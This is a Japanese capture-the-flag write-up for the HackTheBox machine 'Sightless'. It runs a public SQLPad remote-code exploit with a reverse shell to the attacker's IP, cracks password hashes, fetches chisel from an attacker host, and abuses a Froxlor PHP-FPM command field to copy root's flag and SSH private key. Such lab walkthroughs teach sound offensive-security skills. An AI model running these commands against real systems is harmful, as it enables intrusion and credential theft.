> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md).

# Sightless HackTheBox攻略記事

SQLPad悪用、LINpeasによる列挙、ハッシュクラック（John）、ポートフォワーディング（chisel）を扱うSightless HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、足掛かり、権限昇格を含む。

{% embed url="<https://app.hackthebox.com/machines/Sightless>" %}

{% hint style="warning" %}
**スキル**:

* SQLPadの悪用
* LINpeas列挙システム
* ハッシュのクラック（John）
* ポートフォワーディング（chisel）
* Froxlor（コマンドインジェクション）
  {% endhint %}

## 偵察 <a href="#reconnaissance" id="reconnaissance"></a>

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f9e6ab36d7dadf9a8411fb969fb37466375fbb3%2Fimage%20(1359).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-756e987ebcb9f402d90a1e2d2f68021ed74f857f%2Fimage%20(1360).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.32 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5dfa7e8246b25b62d89fbd3b0c3e6cd73a0aa589%2Fimage%20(1361).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使って開いているポートを簡潔な形式で表示し、クリップボードにコピーします（21,22,80）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f61cc6931b3442fa7a0eb362e8d36bd372fc856b%2Fimage%20(1362).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Nmap によるポートのバージョンスキャン:

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p80,22,21 10.10.11.32 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7aa4c50333ef022a91296cd35a68c95f175ff4d%2Fimage%20(1365).png?alt=media" alt=""><figcaption></figcaption></figure>

DNSを介してドメイン名をIPアドレスに解決するには、そのIPアドレスに対応するドメイン名を次の `/etc/hosts` ファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e9b97364d416f17ca8b27e67d65ea87301bd9478%2Fimage%20(1369).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f7eccbf2176a0340e2b6fd23bf6d9b90026a4bf%2Fimage%20(1364).png?alt=media" alt=""><figcaption></figcaption></figure>

潜在的なメールアドレスを見つけます： `sales@sightless.htb`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3e452fbf20545d3745d83dd14a53a616b2c1b49%2Fimage%20(1367).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## SQLPadの脆弱性：

{% hint style="info" %}
**SQLPad** は、ユーザーフレンドリーなWebインターフェースを通じてSQLクエリを簡単に実行、表示、共有できるオープンソースツールです。データチームや開発者に最適です。
{% endhint %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580680ebbe95a8a090523efcf271c64027e6aab7%2Fimage%20(1368).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**`http://sqlpad.sightless.htb`**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-faa56ee4cdce6b4e62acacf29ade4443db213857%2Fimage%20(1370).png?alt=media" alt=""><figcaption></figcaption></figure>

**脆弱なバージョン：**

〜にあるインスタンスは `http://admin.sightless.htb` SQLPad 6.10.0を使用しており、既知の脆弱性があります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c42a95f00564e059d429ca4c7b0c3c72beebdf9%2Fimage%20(1371).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944>" %}

**インストール：**

```bash
git clone https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944
cd sqlpad-rce-exploit-CVE-2022-0944
```

**エクスプロイトの実行：**

```bash
python3 exploit.py http://sqlpad.sightless.htb/ 10.10.14.89 443
```

ポート443で待ち受けます `nc`、アクセス権を取得します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18c0f6f45aefd9b0da1bae4f5496d008bedede00%2Fimage%20(1372).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格

システムのrootにアクセスすると、2人のユーザーが見つかります： `michael` および `node`と、さらに `linpeas.sh`というスクリプトがあります。後者は、潜在的な脆弱性を検出するためにシステムを列挙するのに使われます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9dc678bd36ebf82e44fa94f7ea61b5596c1b4a9b%2Fimage%20(1373).png?alt=media" alt=""><figcaption></figcaption></figure>

### **システム列挙（**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):** <a href="#system-enumeration-linpeas" id="system-enumeration-linpeas"></a>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ac60fe1f7721b4836c7902a02584b8cf3e563ef%2Fimage%20(1375).png?alt=media" alt=""><figcaption></figcaption></figure>

権限昇格のためにLinPEASを使用し、ユーザーのハッシュ化されたパスワードを見つけます `root` および `michael`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05afd11101a62b02b8632974232a61bfd93ce6a9%2Fimage%20(1374).png?alt=media" alt=""><figcaption></figcaption></figure>

JohnとRockyou辞書を使ってこれらのパスワードのクラックを試みます：

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

回収されたパスワードは次のとおりです：

`root:blindside`

`michael:insaneclownposse`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3a5114ba3564a7cc59b836355c4d3b033bb94fc%2Fimage%20(1376).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txtフラグ

ユーザー `michael`でログインすると `user.txt`、ファイルを取得します。ただし、rootパスワードは正しくないようです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-65bf1a834d9fccb71f7fa8b1aff55ac4e371d7c6%2Fimage%20(1377).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Chisel（ポートフォワーディング）**

まず、以下のコマンドで内部の開いているポートを確認します：

```bash
netstat -nltp
```

ポート **8080** が目を引きます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6043a34b3605af1f8cbc1f025c9ffea35887c01a%2Fimage%20(2280).png?alt=media" alt=""><figcaption></figcaption></figure>

1つの `curl` リクエストをこのポートに送ると、ユーザー名とパスワードの入力フォームを含むHTMLページを取得できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9b56c744b4817bd072a0f579da757e4df025390%2Fimage%20(2281).png?alt=media" alt=""><figcaption></figcaption></figure>

この内部コンテンツを外部に公開するために、 **Chisel** ツールを使用します。Chiselバイナリを **Python** および **wget**:

```bash
wget http://10.10.15.35:321/chisel

python3 -m http.server 321
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-907b75bfe3b2c7f9c902ae941b846a04257b3044%2Fimage%20(2282).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、攻撃用マシンでポート **8888**:

```bash
chisel server -p 8888 -reverse
```

ターゲットマシンでは、Chiselスクリプトをクライアントモードで実行して、攻撃用マシンのポート **8888**に接続します。これにより、被害者のlocalhostのポート **8080** を私たちのポート **8081**:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-73669120bf1db828206a903a5f52255ddd56ee5b%2Fimage%20(2283).png?alt=media" alt=""><figcaption></figcaption></figure>

へ転送します。この方法で、内部で動作していたサービスを外部に公開しました **8080** (**Froxlor**).

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92f1121d37bee954af5074ecf7d1ad70c49645e2%2Fimage%20(2284).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`admin:ForlorfroxAdmin`

{% hint style="info" %}
Froxlorは、ユーザーがサーバーやホスティングサービスを簡単に管理できるWebホスティング管理用コントロールパネルです。ドメイン、データベース、FTPアカウント、メールサービスなど、サーバーリソースを設定・管理するための使いやすいインターフェースを提供します。
{% endhint %}

**新しいPHPバージョンを作成：**

ログイン後、「PHP」セクションに移動し、次に「PHP-FPM Versions」を開いて新しいバージョンを作成します。PHP-FPM再起動コマンド欄に、次のコマンドを入力します： `cp /root/root.txt /tmp/root.txt`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-503a82b6bb71949a3a185e4ac7eec7e177105938%2Fimage%20(1352).png?alt=media" alt=""><figcaption></figcaption></figure>

設定を保存したら、次へ移動します `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`。PHP-FPMを無効にして変更を保存し、その後再度有効にしてもう一度保存します。これにより、コピーコマンドが実行されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-090a4c059ddb05f5ce59af4c29064b5b3d126c16%2Fimage%20(1350).png?alt=media" alt=""><figcaption></figcaption></figure>

ここにファイルがあります。次は権限を与える必要があります：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-510f43bbff56cee83d7ea472650d3e272b9cd103%2Fimage%20(1353).png?alt=media" alt=""><figcaption></figcaption></figure>

続行するには、同じ手順を繰り返しますが、コマンドを次のものに置き換えます：

```bash
chmod 644 /tmp/root.txt
```

### rootフラグ：）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e300ed7f41cab5407b3dfde54932cb0ab298aa7%2Fimage%20(1356).png?alt=media" alt=""><figcaption></figcaption></figure>

接続するには、 `id_rsa` キー（rootのSSH）をコピーし、権限を復元する手順を繰り返すだけです：

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7efe9a4c996c58b02d1b1cf6f6fbaa50dfa70df9%2Fimage%20(1357).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、SSH経由でキーを使ってログインします：

```bash
ssh -i id_rsa root@localhost
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7fbd203b84f36a33c25481f46154342bc4bc31f0%2Fimage%20(1358).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b99990b72ce68d82db4349289b9ab21a8018ccf6%2Fimage%20(1355).png?alt=media" alt="" width="543"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
